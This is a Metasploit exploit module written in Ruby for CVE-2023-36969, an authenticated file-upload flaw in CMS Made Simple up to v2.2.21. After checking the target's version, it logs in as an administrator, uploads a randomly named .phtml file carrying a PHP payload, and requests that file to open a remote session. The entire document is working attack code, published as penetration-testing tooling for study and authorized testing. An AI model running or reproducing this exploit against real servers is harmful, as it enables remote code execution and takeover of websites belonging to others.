## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'CmsMadeSimple Authenticated File Manager RCE', 'Description' => %q{ CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files with the .phar or .phtml extensions, enabling execution of PHP code leading to RCE. The file can be executed by accessing its URL in the /uploads/ directory. Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14. }, 'License' => MSF_LICENSE, 'Author' => [ 'Okan Kurtuluş', # Initial research 'Mirabbas Ağalarov', # EDB PoC 'tastyrice' # Metasploit Module ], 'References' => [ ['CVE', '2023-36969'], ['EDB', '51600'] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Universal', {} ] ], 'Privileged' => false, 'DisclosureDate' => '2023-06-07', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with', '']), OptString.new('PASSWORD', [true, 'Password to authenticate with', '']) ] ) end def multipart_form_data(uri, data, message) send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', uri), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{message.bound}", 'keep_cookies' => true ) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '', 'index.php'), 'method' => 'GET' ) unless res && res.code == 200 vprint_error('Connection Failed') return CheckCode::Unknown end set_cookie = res.get_cookies return CheckCode::Safe unless set_cookie&.match?(/^CMSSESSID/) html = res.get_html_document version = Rex::Version.new(html.at('p.copyright-info').text.scan(/\d+\.\d+\.\d+/).first) vprint_status("#{peer} - CMS Made Simple Version: #{version}") return CheckCode::Appears if version <= Rex::Version.new('2.2.21') CheckCode::Detected end def login data = { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'loginsubmit' => 'Submit' } res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'), 'method' => 'POST', 'vars_post' => data, 'keep_cookies' => true ) fail_with(Failure::NoAccess, 'Authentication was unsuccessful') unless res&.code == 302 && cookie_jar.cookies && res.headers['Location'] =~ %r{/admin$} store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) vprint_good("#{peer} - Authentication was successful") end def send_file filename = "#{rand_text_alpha(8..12)}.phtml" c = cookie_jar.cookies.find { |cookie| cookie.name == '__c' }.value payload = get_write_exec_payload(unlink_self: true) # create the message with payload message = Rex::MIME::Message.new message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"') message.add_part(c, nil, nil, 'form-data; name="__c"') message.add_part('1', nil, nil, 'form-data; name="disable_buffer"') message.add_part(payload, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}\"") data = message.to_s # send payload payload_res = multipart_form_data('moduleinterface.php', data, message) fail_with(Failure::UnexpectedReply, 'Failed to upload the file') unless payload_res && payload_res.code == 200 vprint_good("#{peer} - File uploaded #{filename}") # open shell res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'uploads', filename), 'method' => 'GET' ) return unless res && res.code == 404 print_error("Shell #{shell_name} not found") end def exploit login send_file end end